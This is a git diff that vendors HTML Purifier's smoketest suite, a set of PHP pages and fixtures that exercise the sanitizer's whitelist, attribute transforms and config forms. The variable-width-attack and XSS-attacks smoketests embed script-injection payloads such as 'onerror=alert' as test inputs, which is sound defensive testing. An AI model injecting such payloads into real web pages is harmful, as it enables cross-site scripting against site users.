+#home {font-size:smaller;} + +/* Contains, without exception, $Id$, for SVN version info. */ +#version {text-align:right; font-style:italic; margin:2em 0;} + +#toc ol ol {list-style-type:lower-roman;} +#toc ol {list-style-type:decimal;} +#toc {list-style-type:upper-alpha;} + +q { + behavior: url(fixquotes.htc); /* IE fix */ + quotes: '\201C' '\201D' '\2018' '\2019'; +} +q:before { + content: open-quote; +} +q:after { + content: close-quote; +} + +/* Marks off implementation details interesting only to the person writing + the class described in the spec. */ +.technical {margin-left:2em; } +.technical:before {content:"Technical note: "; font-weight:bold; color:#061; } + +/* Marks off sections that are lacking. */ +.fixme {margin-left:2em; } +.fixme:before {content:"Fix me: "; font-weight:bold; color:#C00; } + +#applicability {margin: 1em 5%; font-style:italic;} + +/* vim: et sw=4 sts=4 */ diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Serializer/README b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Serializer/README old mode 100644 new mode 100755 diff --git a/vendor/ezyang/htmlpurifier/maintenance/compile-doxygen.sh b/vendor/ezyang/htmlpurifier/maintenance/compile-doxygen.sh old mode 100644 new mode 100755 diff --git a/vendor/ezyang/htmlpurifier/maintenance/flush-definition-cache.php b/vendor/ezyang/htmlpurifier/maintenance/flush-definition-cache.php old mode 100644 new mode 100755 diff --git a/vendor/ezyang/htmlpurifier/maintenance/flush.sh b/vendor/ezyang/htmlpurifier/maintenance/flush.sh old mode 100644 new mode 100755 diff --git a/vendor/ezyang/htmlpurifier/maintenance/generate-entity-file.php b/vendor/ezyang/htmlpurifier/maintenance/generate-entity-file.php old mode 100644 new mode 100755 diff --git a/vendor/ezyang/htmlpurifier/maintenance/generate-standalone.php b/vendor/ezyang/htmlpurifier/maintenance/generate-standalone.php old mode 100644 new mode 100755 diff --git a/vendor/ezyang/htmlpurifier/maintenance/merge-library.php b/vendor/ezyang/htmlpurifier/maintenance/merge-library.php old mode 100644 new mode 100755 diff --git a/vendor/ezyang/htmlpurifier/maintenance/regenerate-docs.sh b/vendor/ezyang/htmlpurifier/maintenance/regenerate-docs.sh old mode 100644 new mode 100755 diff --git a/vendor/ezyang/htmlpurifier/smoketests/all.php b/vendor/ezyang/htmlpurifier/smoketests/all.php new file mode 100644 index 00000000..507034b9 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/smoketests/all.php @@ -0,0 +1,44 @@ +'; + +?> + + + HTML Purifier: All Smoketests + + + + +

    HTML Purifier: All Smoketests

    +
    + + + +
    + + +purify($html); + +echo ''; + +?> + + + + HTML Purifier All Config Form smoketest + + + + + + + +

    HTML Purifier All Config Form Smoketest

    + +

    This prints config form for everything we support.

    + + + + + +
    InputOutput
    + + + +
    + +render($config); +?> + +
    getAll(), true));
    +?>
    + + + + HTML Purifier Attribute Transformation Smoketest + + + + +

    HTML Purifier Attribute Transformation Smoketest

    +
    +
    + HTML +
    +
    + CSS +
    +
    +Requires PHP 5.

    '); + +$xml = simplexml_load_file('attrTransform.xml'); + +// attr transform enabled HTML Purifier +$config = HTMLPurifier_Config::createDefault(); +$config->set('HTML.Doctype', 'XHTML 1.0 Strict'); +$purifier = new HTMLPurifier($config); + +$title = isset($_GET['title']) ? $_GET['title'] : true; + +foreach ($xml->group as $group) { + echo '

    ' . $group['title'] . '

    '; + foreach ($group->sample as $sample) { + $sample = (string) $sample; +?> +
    +
    + +
    +
    + purify($sample); ?> +
    +
    + + + + + + +
  • menu
  • ]]>
    +
  • dir
  • ]]>
    +
    + + Red
    ]]> + #0000FF
    ]]> + Arial]]> + + + -2]]> + -1]]> + 0]]> + 1]]> + 2]]> + 3]]> + 4]]> + 5]]> + 6]]> + 7]]> + 8]]> + +1]]> + +2]]> + +3]]> + +4]]> + +5]]> + + + Centered]]> + + + Left

    ]]>
    + Center

    ]]>
    + Right

    ]]>
    +
    + + + + To + Be + + + Or + Not + + + To + Be + + + ]]> + + + Or + Not + + + To + Be + + + ]]> + + + ]]> + I]]> + + + + + x1 + x2 + + + ]]> + + + x1 + x2 + + + ]]> +
    ]]>
    +
    + + + + This wants to wrap + really badly yes it does + + + ]]> + + + This wants to wrap + really badly yes it does + + + ]]> + + + tall]]> + + + a]]> +
    o]]>
    +
    + + ]]> + ]]> + + + B
    A]]>
    + B
    A]]>
    + IB
    A]]>
    + IB
    A]]>
    +
    + + + Left + 1.11.2 + + ]]> + + Right + 1.11.2 + + ]]> + + Top + 1.11.2 + + ]]> + + Bottom + 1.11.2 + + ]]> + + + ]]> + ]]> + top]]> + bottom]]> + middle]]> + + + lefta]]> + centera]]> + righta]]> + + + left]]> + center]]> + right]]> + + +
  • 1
  • 2
  • ]]>
    +
  • 1
  • 2
  • ]]>
    +
  • 1
  • 2
  • ]]>
    +
  • 1
  • 2
  • ]]>
    +
  • 1
  • 2
  • ]]>
    +
  • 1
  • 2
  • ]]>
    +
  • 1
  • 2
  • ]]>
    +
  • 1
  • 2
  • ]]>
    +
  • 1
  • 2
  • ]]>
    +
    + + + + + + diff --git a/vendor/ezyang/htmlpurifier/smoketests/basic.php b/vendor/ezyang/htmlpurifier/smoketests/basic.php new file mode 100644 index 00000000..1c361727 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/smoketests/basic.php @@ -0,0 +1,73 @@ + true, + 'legacy' => true +); + +$page = isset($_GET['p']) ? $_GET['p'] : false; +if (!isset($allowed[$page])) $page = false; + +$strict = isset($_GET['d']) ? (bool) $_GET['d'] : false; + +echo ''; +?> + + + + + + + + HTML Purifier Basic Smoketest + + + + + +
    : +Swap
    +Valid XHTML 1.0 Transitional +
    +set('Attr.EnableID', true); + $config->set('HTML.Strict', $strict); + $purifier = new HTMLPurifier($config); + echo $purifier->purify(file_get_contents("basic/$page.html")); +} else { + ?> +

    HTML Purifier Basic Smoketest Index

    +
      + $b) { + ?>
    + + + * {background:#F00; color:#FFF; font-weight:bold; padding:0.2em; margin:0.1em;} +#core-attributes #core-attributes-id, +#core-attributes .core-attributes-class, +#core-attributes div[title='tooltip'], +#core-attributes div[lang='en'], +#core-attributes div[onclick="alert('foo');"], +#module-text abbr, +#module-text acronym, +#module-text div blockquote, +#module-text blockquote[cite='http://www.example.com'], +#module-text br, +#module-text cite, +#module-text code, +#module-text dfn, +#module-text em, +#module-text h1, +#module-text h2, +#module-text h3, +#module-text h4, +#module-text h5, +#module-text h6, +#module-text kbd, +#module-text p, +#module-text pre, +#module-text span q, +#module-text q[cite='http://www.example.com'], +#module-text samp, +#module-text strong, +#module-text var, +#module-hypertext span a, +#module-hypertext a[accesskey='q'], +#module-hypertext a[charset='UTF-8'], +#module-hypertext a[href='http://www.example.com/'], +#module-hypertext a[hreflang='en'], +#module-hypertext a[rel='nofollow'], +#module-hypertext a[rev='index'], +#module-hypertext a[tabindex='1'], +#module-hypertext a[type='text/plain'], +#module-list dl, +#module-list ul, +#module-list ol, +#module-list li, +#module-list dd, +#module-list dt, +.insert-declarations-above + {background:#008000; margin:0; padding:0.2em;} +#module-text span, #module-text div {padding:0; margin:0.1em;} +#module-list li, #module-list dd, #module-list dt {border:1px solid #FFF;} + +/* vim: et sw=4 sts=4 */ diff --git a/vendor/ezyang/htmlpurifier/smoketests/basic/allElements.html b/vendor/ezyang/htmlpurifier/smoketests/basic/allElements.html new file mode 100644 index 00000000..994c8df4 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/smoketests/basic/allElements.html @@ -0,0 +1,82 @@ + + + + + HTML Purifier All Elements Smoketest + + + + + +

    HTML Purifier All Elements Smoketest

    + +

    This is the all elements smoke +test. It is divided by XHTML 1.1 style modules. Make sure +div, span and id are allowed, +otherwise there will be problems.

    + +

    Core attributes

    +
    +
    id
    +
    class
    +
    title
    +
    lang
    +
    xml:lang (green when lang also present)
    +
    style
    +
    onclick (and other event handlers)
    +
    + +

    Text module

    +
    + abbr + acronym +
    blockquote
    +
    blockquote@cite
    +
    + cite + code + dfn + em +

    h1

    +

    h2

    +

    h3

    +

    h4

    +
    h5
    +
    h6
    + kbd +

    p

    +
    pre
    + q + q@cite + samp + strong + var +
    + +

    Hypertext module

    + + +

    List module

    +
    +
    dl dt
    dl dd
    +
    1. ol li
    +
    • ul li
    +
    + + + + + diff --git a/vendor/ezyang/htmlpurifier/smoketests/basic/legacy.css b/vendor/ezyang/htmlpurifier/smoketests/basic/legacy.css new file mode 100644 index 00000000..fb600e40 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/smoketests/basic/legacy.css @@ -0,0 +1,73 @@ + +center, +dir[compact='compact'], +isindex[prompt='Foo'], +menu[compact='compact'], +s, +u, +strike, + +caption[align='bottom'], +div[align='center'], +dl[compact='compact'], + +h1[align='right'], +h2[align='right'], +h3[align='right'], +h4[align='right'], +h5[align='right'], +h6[align='right'], + +hr[align='right'], +hr[noshade='noshade'], +hr[width='50'], +hr[size='50'], + +img[align='right'], +img[border='3'], +img[hspace='5'], +img[vspace='5'], + +input[align='right'], +legend[align='center'], + +li[type='A'], +li[value='5'], + +ol[compact='compact'], +ol[start='3'], +ol[type='I'], + +p[align='right'], + +pre[width='50'], + +table[align='right'], +table[bgcolor='#0000FF'], + +tr[bgcolor='#0000FF'], + +td[bgcolor='#0000FF'], +td[height='50'], +td[nowrap='nowrap'], +td[width='200'], + +th[bgcolor='#0000FF'], +th[height='50'], +th[nowrap='nowrap'], +th[width='200'], + +ul[compact='compact'], +ul[type='square'], + +.insert-declarations-above + {background:#008000; color:#FFF; font-weight:bold;} + +font {background:#BFB;} +u {border:1px solid #000;} +hr {height:1em;} +hr[size='50'] {height:50px;} +img[border='3'] {border: 3px solid #000;} +li[type='a'], li[value='5'] {color:#DDD;} + +/* vim: et sw=4 sts=4 */ diff --git a/vendor/ezyang/htmlpurifier/smoketests/basic/legacy.html b/vendor/ezyang/htmlpurifier/smoketests/basic/legacy.html new file mode 100644 index 00000000..0ff1c7b5 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/smoketests/basic/legacy.html @@ -0,0 +1,127 @@ + + + + + HTML Purifier Legacy Smoketest Test Data + + + + + +

    HTML Purifier Legacy Smoketest Test Data

    + +

    This is the legacy smoketest.

    + +

    Elements

    + +
    +
    + + basefont: Green, Arial, size 6 text (IE-only) +
    + +
    center
    + + +
  • dir
  • +
    + +font: Green, Arial, size 6 text + +isindex: + + + +
  • menu
  • +
    + +s strike u +
    + +

    Attributes

    + +
    + + +
    *
    +
    +

    br@clear (asterisk is up)

    + + + + +
    caption@align
    Cell
    + +
    div@center
    + +
    +
    dl@compact
    +
    + +

    h1

    +

    h2

    +

    h3

    +

    h4

    +
    h5
    +
    h6
    + +hr@align +
    +hr@noshade +
    +hr@width +
    +hr@size +
    + +img@align | +img@border | +img@hspace | +img@vspace + + + +Legend + +
      +
    1. li@type (ensure that it's a capital A)
    2. +
    3. li@value
    4. +
    + +
    1. ol@compact
    +
    1. ol@start
    +
    1. ol@type
    + +

    p@align

    + +
    pre@width
    + + + +
    table@align
    +
    table@bgcolor
    + +
    tr@bgcolor
    + +
    td@bgcolor
    +
    td@height
    +
    td@nowrap
    +
    td@width
    + +
    th@bgcolor
    +
    th@height
    +
    th@nowrap
    +
    th@width
    + +
    • ul@compact
    +
    • ul@square
    + +
    + + + + + diff --git a/vendor/ezyang/htmlpurifier/smoketests/cacheConfig.php b/vendor/ezyang/htmlpurifier/smoketests/cacheConfig.php new file mode 100644 index 00000000..642a7531 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/smoketests/cacheConfig.php @@ -0,0 +1,14 @@ +set('HTML.Doctype', 'HTML 4.01 Strict'); +$config->set('HTML.Allowed', 'b,a[href],br'); +$config->set('CSS.AllowTricky', true); +$config->set('URI.Disable', true); +$serial = $config->serialize(); + +$result = unserialize($serial); +$purifier = new HTMLPurifier($result); +echo htmlspecialchars($purifier->purify('Bold
    no formatting')); diff --git a/vendor/ezyang/htmlpurifier/smoketests/common.php b/vendor/ezyang/htmlpurifier/smoketests/common.php new file mode 100644 index 00000000..eb99ad5e --- /dev/null +++ b/vendor/ezyang/htmlpurifier/smoketests/common.php @@ -0,0 +1,41 @@ + $val) { + if (!is_array($val)) { + $array[$k] = stripslashes($val); + } else { + fix_magic_quotes($array[$k]); + } + } + } + + fix_magic_quotes($_GET); + fix_magic_quotes($_POST); + fix_magic_quotes($_COOKIE); + fix_magic_quotes($_REQUEST); + fix_magic_quotes($_ENV); + fix_magic_quotes($_SERVER); +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/smoketests/configForm.php b/vendor/ezyang/htmlpurifier/smoketests/configForm.php new file mode 100644 index 00000000..90e80ac5 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/smoketests/configForm.php @@ -0,0 +1,77 @@ +validate(); + +if (isset($_GET['doc'])) { + + // Hijack page generation to supply documentation + + if (file_exists('test-schema.html') && !isset($_GET['purge'])) { + echo file_get_contents('test-schema.html'); + exit; + } + + $style = 'plain'; + $configdoc_xml = 'test-schema.xml'; + + $xml_builder = new HTMLPurifier_ConfigSchema_Builder_Xml(); + $xml_builder->openURI($configdoc_xml); + $xml_builder->build($interchange); + unset($xml_builder); // free handle + + $xslt = new ConfigDoc_HTMLXSLTProcessor(); + $xslt->importStylesheet("../configdoc/styles/$style.xsl"); + $xslt->setParameters(array( + 'css' => '../configdoc/styles/plain.css', + )); + $html = $xslt->transformToHTML($configdoc_xml); + + unlink('test-schema.xml'); + file_put_contents('test-schema.html', $html); + echo $html; + + exit; +} + +?> + + + HTML Purifier Config Form Smoketest + + + + + +

    HTML Purifier Config Form Smoketest

    +

    This file outputs the configuration form for every single type +of directive possible.

    +
    +build($interchange); + +$config = HTMLPurifier_Config::loadArrayFromForm($_GET, 'config', true, true, $schema); +$printer = new HTMLPurifier_Printer_ConfigForm('config', '?doc#%s'); +echo $printer->render(array(HTMLPurifier_Config::createDefault(), $config)); + +?> +
    +
    +getAll(), true));
    +?>
    +
    + + +'; +?> + + + HTML Purifier data Scheme Smoketest + + + +

    HTML Purifier data Scheme Smoketest

    +'; + +$purifier = new HTMLPurifier(array('URI.AllowedSchemes' => 'data')); + +?> +
    purify($string); +?>
    + + + + true, +)); + +$html = isset($_POST['html']) ? $_POST['html'] : ''; +$purified_html = $purifier->purify($html); + +?> + + + Extract Style Blocks - HTML Purifier Smoketest + +context->get('StyleBlocks') as $style) { +?> + + + +

    Extract Style Blocks

    +

    + This smoketest allows users to specify global style sheets for the + document, allowing for interesting techniques and compact markup + that wouldn't normally be possible, using the ExtractStyleBlocks filter. +

    +

    + User submitted content: +

    +
    + +
    +
    + + +
    + + +U-u*QjPY~x+q*!!Bf{V}^P zE~UxZ9-G1*X|$T1-I;T~x%b?2&OM^4s*1Z=BzL)F0Av7U0Av7U0Av7U0Av8%wPMWR zv*rQIfh9l{Pz>ZIuZ;j#flI(ypatl?69D7`4+4(@D}Vx@&qrZlAr%!B6c!c&(BI!r zFc_r2zn^F{3NQ$q0DcJ^0m5D>C_GAr0>IaSr+~_`vNG1MU(c#lt0*lk#j-3wAcXs4 ztpPN#Sd6Z&E}EO0IdI?rSFT(ExC}f8><5Pb9{_wF*b6MGudip@w(V3es7A?uyBqCV ze6unsB7p5UT)cRZ9ox6l+}sRs0r)QP+U*L!2kZjAQ(0NbPxd`e?S1zlrNGhpmPX%F zF(Ht`{cl^_IiB431f89o06zvc1JUVFS``!&Ovil+fP+B8SJ$oMr!T(9$4W|Yw1e%q z#%oQQhsJR^7aqdV8r!j_ zbzUi{kV0_i$PvEx)VI)5z6GoWLbD0L2mBWJ-2RtdV%5r(#1nSf!#$m8VHyS}{`wcz zH8hYM1z(!VbeQTC_yO>>?YnmIz-J#I5{qLy4vyB|9F9Z6wy7*Hr)2(o{`B_SH9!{d z=4=3X2-x?fkH*{eGhH_>6|IKGP%;iSWo*zRU+*U1xxmlZg{18wsulmTr1_Gk(9H!Qo+MT1F!g z3IYK(J-wN4Kl#Mcq)yMx1b}>CRB{2;Hr4)uV+;b@qQlOCtAyBDgD2)*`GCIa5>gssoP~)7W zj<0(KV2L9HBV(hybLt-$rio#in3muD%<^MdK1|bOEUJ(~x)7uS2Q14qUMYo<{FKT- z36=a_Vi@i@fKn29Lxy;308#P_i&4tNw&P2@1W+NA!phDXH$)2e4N55x$qJj4@+RXA zr4Toy#E#Yot&!Ts2AqT@o&Xt(yZ1w)42i%Ee}$L`!?|H(*up_bMRp*U;m}}(r#`^6 zETmKu6qr;oGMVoF=XXL*G*TuVooN^dWsqf=n1+FNG*R0o8jayN8r!zX&J8de8Z7Y= zK(3TCS4WjXfWA2)%FoT=-lDk#va+yDgSc(eI}qa4IR*4~b>`mjRbktT(uTlzUzj9dR7zwgZy#C;k2XsS2}aBcLZ9i{Uu-NAk`yB?19j6AT7PCkB`d zfS|T*;*sbCk3QQXg&-P@F)%Oy5cCqjS*bPG!{G@P+}RYZH9`tHJAQ@s;V&hzSd4=Q4+0$b+6Msqnpli$S9``| z{n;G;rczwE(9Wexmt5V_1vrW49sxS~x<0_R?OAn(hEl|Bn;-4j1JIGw&2s=@;DyN0 z5Z%Eb%Cu$;fZu1)(%Q<2=05|xz$7+NC;R#i0B1VieV6Fyb(At@-1scNpONdMJhORA z%JaW8DIYS)=MMv0oJfRoEiJA$R&vJXz0b0cQnGvZZmx7*26zS-nn?fvhk?DJo*pi= z{vBodkivTiLI~yra%gI7;&9`u;O;~>P4<3M-5ELt)C~;`)JQ2PE-OPyw+5lw0*lU6ay1N4R;v5Mq2?7q~Tsl+j8`45=v0%cJegJM7-}eUgQb4L1~!W*mT> zRN|8Z-QCsEXoP#K7fdj8x&Ro`z%oq!cKjIoez+UpE#ML0`cw>EF4TtZ)bm2Uv zX)(8C9;q^Cx&Wk-n9@L_xp?lM{QUW6x!lnXZiB=((oK7B=~KLHk;yMAqIUVG`1q0~ z7|AN}xQ`Gbc`gvrMBUa&MTZhbDEB}vkZp@A&n*} z!!W3;tK;O!limR6=;$C8i*fYmQMPW~N;v$Xf!9rKatMh(C!0WC9{#Kx0AkTGhQmXQ zja)}-8`5l(%g@he$BrGWUcDOAG+DH0kv9O^+uO(IZaf~Rsi}#bJ9jcP^pRqaX>XLw z%gbZSmMyGVvj)qua2yBQw!H&zCrYMSIs+gBAOj!+AOj!+AOj!+;BJ+F0UD2hYPD%9{>OV literal 0 HcmV?d00001 diff --git a/vendor/ezyang/htmlpurifier/smoketests/innerHTML.html b/vendor/ezyang/htmlpurifier/smoketests/innerHTML.html new file mode 100644 index 00000000..0b840f18 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/smoketests/innerHTML.html @@ -0,0 +1,33 @@ + + + innerHTML smoketest + + + + + + + + diff --git a/vendor/ezyang/htmlpurifier/smoketests/innerHTML.js b/vendor/ezyang/htmlpurifier/smoketests/innerHTML.js new file mode 100644 index 00000000..74ccbb68 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/smoketests/innerHTML.js @@ -0,0 +1,51 @@ +var alphabet = 'a!`=[]\\;\':"/<> &'; + +var out = document.getElementById('out'); +var testContainer = document.getElementById('testContainer'); + +function print(s) { + out.value += s + "\n"; +} + +function testImage() { + return testContainer.firstChild; +} + +function test(input) { + var count = 0; + var oldInput, newInput; + testContainer.innerHTML = ""; + testImage().setAttribute("alt", input); + print("------"); + print("Test input: " + input); + do { + oldInput = testImage().getAttribute("alt"); + var intermediate = testContainer.innerHTML; + print("Render: " + intermediate); + testContainer.innerHTML = intermediate; + if (testImage() == null) { + print("Image disappeared..."); + break; + } + newInput = testImage().getAttribute("alt"); + print("New value: " + newInput); + count++; + } while (count < 5 && newInput != oldInput); + if (count == 5) { + print("Failed to achieve fixpoint"); + } + testContainer.innerHTML = ""; +} + +print("Go!"); + +test("`` "); +test("'' "); + +for (var i = 0; i < alphabet.length; i++) { + for (var j = 0; j < alphabet.length; j++) { + test(alphabet.charAt(i) + alphabet.charAt(j)); + } +} + +// document.getElementById('out').textContent = alphabet; diff --git a/vendor/ezyang/htmlpurifier/smoketests/preserveYouTube.php b/vendor/ezyang/htmlpurifier/smoketests/preserveYouTube.php new file mode 100644 index 00000000..1dfa85cb --- /dev/null +++ b/vendor/ezyang/htmlpurifier/smoketests/preserveYouTube.php @@ -0,0 +1,72 @@ +'; +?> + + + HTML Purifier Preserve YouTube Smoketest + + + +

    HTML Purifier Preserve YouTube Smoketest

    + + + + + + + + + +'; + +$regular_purifier = new HTMLPurifier(); + +$safeobject_purifier = new HTMLPurifier(array( + 'HTML.SafeObject' => true, + 'Output.FlashCompat' => true, +)); + +?> +

    Unpurified

    +

    Click here to see the unpurified version (breaks validation).

    +
    + +

    Without YouTube exception

    +
    purify($string); +?>
    + +

    With SafeObject exception and flash compatibility

    +
    purify($string); +?>
    + + + +prepareGenerator($gen_config); +$printer_css_definition = new HTMLPurifier_Printer_CSSDefinition(); +$printer_css_definition->prepareGenerator($gen_config); + +$printer_config_form = new HTMLPurifier_Printer_ConfigForm( + 'config', + 'http://htmlpurifier.org/live/configdoc/plain.html#%s' +); + +echo ''; + +?> + + + + HTML Purifier Printer Smoketest + + + + + + + +

    HTML Purifier Printer Smoketest

    + +

    HTML Purifier claims to have a robust yet permissive whitelist: this +page will allow you to see precisely what HTML Purifier's internal +whitelist is. You can +also twiddle with the configuration settings to see how a directive +influences the internal workings of the definition objects.

    + +

    Modify configuration

    + +

    You can specify an array by typing in a comma-separated +list of items, HTML Purifier will take care of the rest (including +transformation into a real array list or a lookup table).

    + +
    +render($config, 'HTML'); +?> +

    * Some configuration directives make a distinction between an empty +variable and a null variable. A whitelist, for example, will take an +empty array as meaning no allowed elements, while checking +Null/Disabled will mean that user whitelisting functionality is disabled.

    +
    + +

    Definitions

    + +
    +
    Parent of Fragment
    +
    HTML that HTML Purifier does not live in a void: when it's + output, it has to be placed in another element by means of + something like <element> <?php echo $html + ?> </element>. The parent in this example + is element.
    +
    Strict mode
    +
    Whether or not HTML Purifier's output is Transitional or + Strict compliant. Non-strict mode still actually a little strict + and converts many deprecated elements.
    +
    #PCDATA
    +
    Literally Parsed Character Data, it is regular + text. Tags like ul don't allow text in them, so + #PCDATA is missing.
    +
    Tag transform
    +
    A tag transform will change one tag to another. Example: font + turns into a span tag with appropriate CSS.
    +
    Attr Transform
    +
    An attribute transform changes a group of attributes based on one + another. Currently, only lang and xml:lang + use this hook, to synchronize each other's values. Pre/Post indicates + whether or not the transform is done before/after validation.
    +
    Excludes
    +
    Tags that an element excludes are excluded for all descendants of + that element, and not just the children of them.
    +
    Name(Param1, Param2)
    +
    Represents an internal data-structure. You'll have to check out + the corresponding classes in HTML Purifier to find out more.
    +
    + +

    HTMLDefinition

    +render($config) ?> +

    CSSDefinition

    +render($config) ?> + + + 'val1', 'key2' => 'val2') +DESCRIPTION: The hash type is an associative array of string keys and string values. +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.int.txt b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.int.txt new file mode 100644 index 00000000..157df3f3 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.int.txt @@ -0,0 +1,5 @@ +Type.int +TYPE: int +DEFAULT: 23 +DESCRIPTION: The int type is an signed integer. +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.istring.txt b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.istring.txt new file mode 100644 index 00000000..dfd43aa4 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.istring.txt @@ -0,0 +1,5 @@ +Type.istring +TYPE: istring +DEFAULT: 'case insensitive' +DESCRIPTION: The istring type is short (no newlines), must be ASCII and is case-insensitive. +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.itext.txt b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.itext.txt new file mode 100644 index 00000000..97140dea --- /dev/null +++ b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.itext.txt @@ -0,0 +1,5 @@ +Type.itext +TYPE: itext +DEFAULT: "case\ninsensitive\nand\npossibly\nquite\nlong" +DESCRIPTION: The text type has newlines, must be ASCII and is case-insensitive. +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.list.txt b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.list.txt new file mode 100644 index 00000000..55497fcd --- /dev/null +++ b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.list.txt @@ -0,0 +1,5 @@ +Type.list +TYPE: list +DEFAULT: array('item1', 'item2') +DESCRIPTION: The list type is a numerically indexed array of strings. +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.lookup.txt b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.lookup.txt new file mode 100644 index 00000000..b2479912 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.lookup.txt @@ -0,0 +1,5 @@ +Type.lookup +TYPE: lookup +DEFAULT: array('key1' => true, 'key2' => true) +DESCRIPTION: The lookup type acts just like list, except its elements are unique and are checked with isset($var[$key]). +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.mixed.txt b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.mixed.txt new file mode 100644 index 00000000..09357df5 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.mixed.txt @@ -0,0 +1,5 @@ +Type.mixed +TYPE: mixed +DEFAULT: new stdClass() +DESCRIPTION: The mixed type allows any type, and is not form-editable. +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.nullbool.txt b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.nullbool.txt new file mode 100644 index 00000000..d3d756fc --- /dev/null +++ b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.nullbool.txt @@ -0,0 +1,7 @@ +Type.nullbool +TYPE: bool/null +DEFAULT: null +--DESCRIPTION-- +Null booleans need to be treated a little specially. See %Type.nullstring +for information on what the null flag does. +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.nullstring.txt b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.nullstring.txt new file mode 100644 index 00000000..4db33235 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.nullstring.txt @@ -0,0 +1,9 @@ +Type.nullstring +TYPE: string/null +DEFAULT: null +--DESCRIPTION-- +The null type is not a type, but a flag that can be added to any type +making null a valid value for that entry. It's useful for saying, "Let +the software pick the value for me," or "Don't use this element" when +false has a special meaning. +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.string.txt b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.string.txt new file mode 100644 index 00000000..4cde4090 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.string.txt @@ -0,0 +1,5 @@ +Type.string +TYPE: string +DEFAULT: 'Case sensitive' +DESCRIPTION: The string type is short (no newlines) and case-sensitive. +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.text.txt b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.text.txt new file mode 100644 index 00000000..5fca4d56 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.text.txt @@ -0,0 +1,5 @@ +Type.text +TYPE: text +DEFAULT: "Case sensitive\nand\npossibly\nquite long..." +DESCRIPTION: The text type has newlines and is case-sensitive. +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.txt b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.txt new file mode 100644 index 00000000..b4761220 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.txt @@ -0,0 +1,3 @@ +Type +DESCRIPTION: Directives demonstration the variable types ConfigSchema supports. +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/smoketests/test-schema/info.ini b/vendor/ezyang/htmlpurifier/smoketests/test-schema/info.ini new file mode 100644 index 00000000..438e8acc --- /dev/null +++ b/vendor/ezyang/htmlpurifier/smoketests/test-schema/info.ini @@ -0,0 +1,3 @@ +name = "Test Schema" + +; vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/smoketests/variableWidthAttack.php b/vendor/ezyang/htmlpurifier/smoketests/variableWidthAttack.php new file mode 100644 index 00000000..f3b6e821 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/smoketests/variableWidthAttack.php @@ -0,0 +1,57 @@ +'; +?> + + + HTML Purifier Variable Width Attack Smoketest + + + +

    HTML Purifier Variable Width Attack Smoketest

    +

    For more information, see +Cheng Peng Su's +original advisory. This particular exploit code appears only to work +in Internet Explorer, if it works at all.

    +

    Test

    + + + + +A"'; // in our out the attribute? ;-) + $html .= "onerror=alert('$i')>O"; + $pure_html = $purifier->purify($html); +?> + + + + + + + + +
    ASCIIRawOutputRender
    + +

    Analysis

    + +

    By making sure that UTF-8 is well formed and non-SGML codepoints are +removed, as well as escaping quotes outside of tags, this is a non-threat.

    + + + +\t', '»', '\0'), + escapeHTML( + str_replace("\0", '\0(null)', + wordwrap($string, 28, " »\n", true) + ) + ) + ); +} + +?> + + + HTML Purifier XSS Attacks Smoketest + + + + +

    HTML Purifier XSS Attacks Smoketest

    +

    XSS attacks are from +http://ha.ckers.org/xss.html.

    +

